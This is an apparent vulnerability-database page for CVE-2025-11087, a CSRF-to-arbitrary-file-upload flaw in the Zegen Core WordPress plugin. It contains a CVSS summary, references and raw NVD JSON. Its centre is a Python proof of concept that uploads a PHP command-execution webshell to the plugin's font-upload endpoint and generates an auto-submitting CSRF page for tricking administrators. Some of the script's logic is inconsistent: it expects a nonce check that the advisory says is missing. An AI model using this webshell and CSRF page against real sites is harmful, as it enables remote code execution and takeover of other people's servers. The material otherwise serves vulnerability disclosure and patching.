CVE-2025-11087

Description

The Zegen Core plugin for WordPress is vulnerable to Cross-Site Request Forgery to Arbitrary File Upload in versions up to, and including, 2.0.1. This is due to missing nonce validation and missing file type validation in the '/custom-font-code/custom-fonts-uploads.php' file. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Zegen Core plugin for WordPress <= 2.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-11087 PoC - CSRF to Arbitrary File Upload
# Target: WordPress site with Zegen Core plugin <= 2.0.1

def exploit_csrf_file_upload(target_url, webshell_content):
    """
    This PoC demonstrates the CSRF vulnerability that allows
    arbitrary file upload in Zegen Core plugin.
    
    Note: This is for educational and authorized testing purposes only.
    """
    
    # Target endpoint
    upload_url = f"{target_url}/wp-content/plugins/zegen-core/custom-font-code/custom-fonts-uploads.php"
    
    # Prepare malicious file upload
    files = {
        'file': ('shell.php', webshell_content, 'application/x-php')
    }
    
    # CSRF PoC HTML that can be hosted on attacker server
    csrf_html = f'''
    <html>
    <body>
    <h1>Zegen Core CSRF File Upload PoC</h1>
    <form action="{upload_url}" method="POST" enctype="multipart/form-data" id="exploit">
        <input type="file" name="file" />
        <input type="submit" value="Upload" />
    </form>
    <script>
        document.getElementById('exploit').submit();
    </script>
    </body>
    </html>
    '''
    
    # Direct upload attempt (will fail without valid nonce)
    print(f"[*] Target: {target_url}")
    print(f"[*] Upload endpoint: {upload_url}")
    
    try:
        response = requests.post(upload_url, files=files, timeout=10)
        print(f"[*] Status code: {response.status_code}")
        
        if response.status_code == 200:
            print("[+] Upload request sent - Check response for file path")
            print(f"[+] Response: {response.text}")
        else:
            print("[-] Upload failed - CSRF protection or other issue")
            print("[*] To exploit, trick admin to visit generated HTML page")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
    
    return csrf_html

# Example webshell content
webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"

# Usage example
if __name__ == "__main__":
    if len(sys.argv) > 1:
        target = sys.argv[1]
        exploit_csrf_file_upload(target, webshell)
    else:
        print("Usage: python cve-2025-11087.py <target_url>")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11087
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11087
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11087/
[4] VulDB https://vuldb.com/cve/CVE-2025-11087
[5] https://themeforest.net/item/zegen-church-wordpress-theme/25116823
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/145deebd-1e15-4f8a-878c-9424c2cd9601?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11087", "sourceIdentifier": "[email protected]", "published": "2025-11-21T21:15:50.577", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Zegen Core plugin for WordPress is vulnerable to Cross-Site Request Forgery to Arbitrary File Upload in versions up to, and including, 2.0.1. This is due to missing nonce validation and missing file type validation in the '/custom-font-code/custom-fonts-uploads.php' file. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://themeforest.net/item/zegen-church-wordpress-theme/25116823", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/145deebd-1e15-4f8a-878c-9424c2cd9601?source=cve", "source": "[email protected]"}]}}